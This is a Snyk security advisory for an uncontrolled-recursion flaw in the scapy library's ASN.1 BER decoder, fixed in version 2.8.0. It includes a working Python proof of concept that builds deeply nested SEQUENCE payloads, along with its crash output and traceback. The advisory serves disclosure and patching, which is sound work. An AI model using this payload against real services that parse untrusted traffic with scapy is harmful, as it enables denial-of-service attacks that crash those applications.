Uncontrolled Recursion Affecting scapy package, versions [,2.8.0)


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.47% (42nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Uncontrolled Recursion vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-SCAPY-22552447
  • published15 Nov 2026
  • disclosed13 Nov 2026
  • creditinfycore

Introduced: 13 Nov 2026

NewCVE-2026-128238  (opens in a new tab)
CWE-674  (opens in a new tab)

How to fix?

Upgrade scapy to version 2.8.0 or higher.

Overview

scapy is a Python-based interactive packet manipulation program and library.

Affected versions of this package are vulnerable to Uncontrolled Recursion via BERcodec_SEQUENCE.do_dec() in scapy/asn1/ber.py, which recursively calls BERcodec_Object.dec() for each nested ASN.1 element with no depth limit. When a nested element is itself a SEQUENCE, the call dispatches back into do_dec(), creating unbounded mutual recursion. An attacker can send a single packet containing deeply nested ASN.1 SEQUENCE structures to exhaust Python's call stack and raise an unhandled RecursionError, crashing any application that uses Scapy to parse untrusted TLS, SNMP, X.509, or LDAP traffic. The safe=True parameter provides no protection against this code path.

PoC

Tested on scapy 2.7.0 (latest), Python 3.14.2, macOS. No privileges or special configuration required.

#!/usr/bin/env python3
# pip install scapy
from scapy.asn1.ber import BERcodec_SEQUENCE

def make_nested_sequence(depth): """Build a valid BER-encoded SEQUENCE nested depth levels deep.""" payload = b'\x30\x00' # innermost: empty SEQUENCE for _ in range(depth): length = len(payload) if length < 128: payload = b'\x30' + bytes([length]) + payload else: length_bytes = length.to_bytes((length.bit_length() + 7) // 8, 'big') payload = b'\x30' + bytes([0x80 | len(length_bytes)]) + length_bytes + payload return payload

crafted = make_nested_sequence(250) # 833 bytes print(f"Payload: {len(crafted)} bytes")

try: BERcodec_SEQUENCE.dec(crafted, safe=True) print("No crash (unexpected)") except RecursionError: print("CRASH: RecursionError — process terminated")

Actual output (run locally against installed scapy 2.7.0):

Payload: 833 bytes
CRASH: RecursionError — process terminated

Crash threshold by nesting depth:

depth=  50    102 bytes  → OK
depth= 100    239 bytes  → OK
depth= 250    833 bytes  → CRASH ✓
depth= 500   1833 bytes  → CRASH ✓

Traceback (truncated — 3,995 frames total):

  File "scapy/asn1/ber.py", line 375, in dec
    return cls.do_dec(s, context, safe)
  File "scapy/asn1/ber.py", line 652, in do_dec
    o, remain = BERcodec_Object.dec(s, context, safe)
  File "scapy/asn1/ber.py", line 375, in dec
    return cls.do_dec(s, context, safe)
  ... (3,995 frames) ...
RecursionError: maximum recursion depth exceeded

Note: Tested on scapy 2.7.0, Python 3.14.2, macOS, with no privileges or special configuration required.

CVSS Base Scores

version 4.0
version 3.1